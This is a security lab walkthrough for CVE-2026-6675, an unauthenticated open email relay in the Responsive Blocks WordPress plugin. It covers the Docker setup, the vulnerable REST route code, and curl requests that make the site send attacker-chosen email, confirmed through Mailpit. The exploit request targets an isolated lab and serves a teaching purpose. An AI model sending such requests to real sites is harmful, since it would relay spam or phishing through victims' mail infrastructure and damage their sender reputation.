Labs

CVE-2026-6675: Responsive Blocks Unauthenticated Open Email Relay

Docker lab Open Mail Relay

Updated August 23, 2026 · Written by PWNMI — see About.

Not every high-impact bug needs a memory corruption bug or a clever auth bypass behind it — sometimes a REST route is just handed to the internet with no gate on it at all. Responsive Blocks (responsive-block-editor-addons) is a WordPress page-builder plugin whose Form block posts submissions back to the server for emailing to the site owner. CVE-2026-6675 is what happens when that endpoint trusts the request to say who the email goes to.

This lab uses a real vulnerable version of the plugin, running fully isolated with no ports exposed beyond the Docker host itself. Affects Responsive Blocks through 2.2.0, fixed in 2.2.1. No public PoC exists for this CVE — the vulnerable code path was located directly by downloading the real affected version from the official WordPress.org plugin repository and reading its source.

What you'll practice: recognizing permission_callback => '__return_true' as a REST route with no authorization gate at all (not a weak one — none), tracing user input through a single sanitization call that validates format but not authorization, and confirming a mail-based vulnerability's real-world impact by actually catching the delivered message instead of trusting an HTTP 200.

Set up the lab

New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.

Get the lab files from pwnmihq/resources, including the plugin zip itself — bundled directly so this lab needs no external download:

git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-6675
cd cve-labs/CVE-2026-6675

docker-compose.yml bind-mounts the plugin from plugin-src/, so unzip the bundled plugin into place before starting the stack — both steps need to finish, in order, before docker compose up -d, or the plugin directory WordPress expects to mount will still be empty:

mkdir -p plugin-src
unzip responsive-block-editor-addons.2.2.0.zip -d plugin-src
docker compose up -d

This brings up MySQL, WordPress, a wpcli sidecar for installing WordPress and activating the plugin, and Mailpit, a local SMTP catcher standing in for a real mail server so any email the target actually sends is observable instead of vanishing into a mail queue that doesn't exist in this lab:

docker compose exec wpcli wp core install --allow-root --url=http://wordpress \
  --title=Lab --admin_user=admin --admin_password=adminpass123 \
  --admin_email=admin@example.com --path=/var/www/html
docker compose exec wpcli wp plugin activate responsive-block-editor-addons \
  --allow-root --path=/var/www/html

No ports are published — reach WordPress and Mailpit on their own container IPs from the Docker host:

IP=$(docker inspect $(docker compose ps -q wordpress) --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')
MAILPIT_IP=$(docker inspect $(docker compose ps -q mailpit) --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')

Understanding the vulnerability

The plugin's Form block needs to email a visitor's submission to the site owner, so it registers its own REST route:

register_rest_route(
    'wp/v2',
    '/rba_process_form',
    array(
        'methods'             => 'POST',
        'callback'            => array( $this, 'rba_form_processing' ),
        'permission_callback' => '__return_true',
    )
);

permission_callback => '__return_true' doesn't mean "weakly authenticated" or "authenticated for logged-in users only" — it means WordPress's REST API is told this route needs no authorization check of any kind, for anyone, ever. That's a legitimate pattern for genuinely public endpoints (the block does need to accept submissions from anonymous site visitors), but it puts the entire burden of safety on what the handler does with the request afterward.

The handler doesn't hold up that end:

$email_to  = sanitize_email( $params['email_to'] );
$subject   = sanitize_text_field( $params['subject'] );
...
$sent = wp_mail( $email_to, $subject, $email_content, $headers );

email_to comes straight from the POST body. sanitize_email() only checks that the string is shaped like an email address — it strips characters that don't belong in one and rejects malformed input, but it has no concept of "is this address the site owner actually configured to receive form mail." The plugin never reads its own settings to check where submissions are supposed to go; it just mails whatever address the request supplied. subject, site_name, page_url, and each form_data entry get the same treatment — sanitized for format (no raw HTML injection, no header-splitting), then dropped directly into the outgoing message with no check on content or destination.

The result: any unauthenticated client, anywhere, can make the target site send an email with attacker-chosen subject and body to an attacker-chosen recipient — using the target's own mail infrastructure, reputation, and sending domain. That's the textbook definition of an open relay, just reached through a WordPress REST route instead of raw SMTP.

Exploitation

Confirm the route is registered and requires no authentication:

curl -s http://$IP/wp-json/ | python3 -c "import json,sys; d=json.load(sys.stdin); print('/wp/v2/rba_process_form' in str(d['routes'].keys()))"

Send the forged submission — no cookies, no nonce, no Authorization header, just a POST:

curl -s -X POST "http://$IP/wp-json/wp/v2/rba_process_form" \
  --data-urlencode "email_to=victim@external-target.example" \
  --data-urlencode "subject=CVE-2026-6675 unauthenticated relay test" \
  --data-urlencode "site_name=Lab Site" \
  --data-urlencode "site_url=http://wordpress" \
  --data-urlencode "page_url=http://wordpress/contact" \
  --data-urlencode "form_data[]=Name:Attacker"

A 200 with {"success":true,"message":"Email sent successfully!"} looks like proof, but it only confirms wp_mail() handed the message to PHP's mail layer without an error — not that anything actually got delivered. Confirm delivery independently, through Mailpit's own API rather than trusting the plugin's response:

curl -s "http://$MAILPIT_IP:8025/api/v1/messages" | python3 -m json.tool

The response shows a real message: To: victim@external-target.example, the exact subject supplied above, and a body containing the attacker-controlled site_name, page_url, and form_data content verbatim. That's the full chain — an unauthenticated request became a real outbound email, sent using the target site's own name and mail configuration, to a recipient the attacker chose and with content the attacker wrote.

Cleanup

There's nothing to revert on the target itself — the exploit doesn't touch the database, create an account, or write a file; every request is a single wp_mail() call and nothing about the site's own state changes. That's worth stating plainly rather than padding this section with filler.

What doesn't clean up is the email itself: on a real target, the message this endpoint sends is a genuine email delivered through the site's actual outbound mail path, to whatever address the attacker chose. There's no request that unsends it, and depending on volume, repeated abuse of this endpoint can burn the target domain's own sender reputation (spam-filter blocklisting, SPF/DKIM-aligned domain flagged as a spam source) — a real consequence for the site owner that has nothing to do with anything this lab's own teardown can fix. In this lab specifically, the test message only ever reaches the disposable Mailpit container, which docker compose down -v destroys along with everything else — there's no real recipient to worry about here, but say so explicitly to a client if you run this against anything but a lab you control.

Tear the lab down when you're done:

docker compose down -v

Lessons worth keeping

  • permission_callback => '__return_true' means no authorization check exists, not a weak one. Some REST routes legitimately need to be public. The question that matters is what the handler does once an anonymous request arrives — and here, nothing constrained where the resulting email could go.
  • Format validation and authorization are different jobs, and one doesn't cover for the other. sanitize_email() correctly confirms email_to looks like an email address. It says nothing about whether the value itself should be trusted as a destination — that check simply doesn't exist anywhere in this code path.
  • A feature that sends email on a visitor's behalf is a relay unless it's scoped. Anything that calls wp_mail() (or an equivalent) using request-supplied recipient data needs to validate that recipient against a fixed, server-side configuration — not accept it as input — or the feature is an open relay by construction, whether or not anyone calls it that.

Next step

For another CVE where a WordPress plugin's own REST API is the actual attack surface, see CVE-2026-11349 (Modern Events Calendar). For the tool doing the actual request-crafting in this walkthrough, see the curl cheatsheet.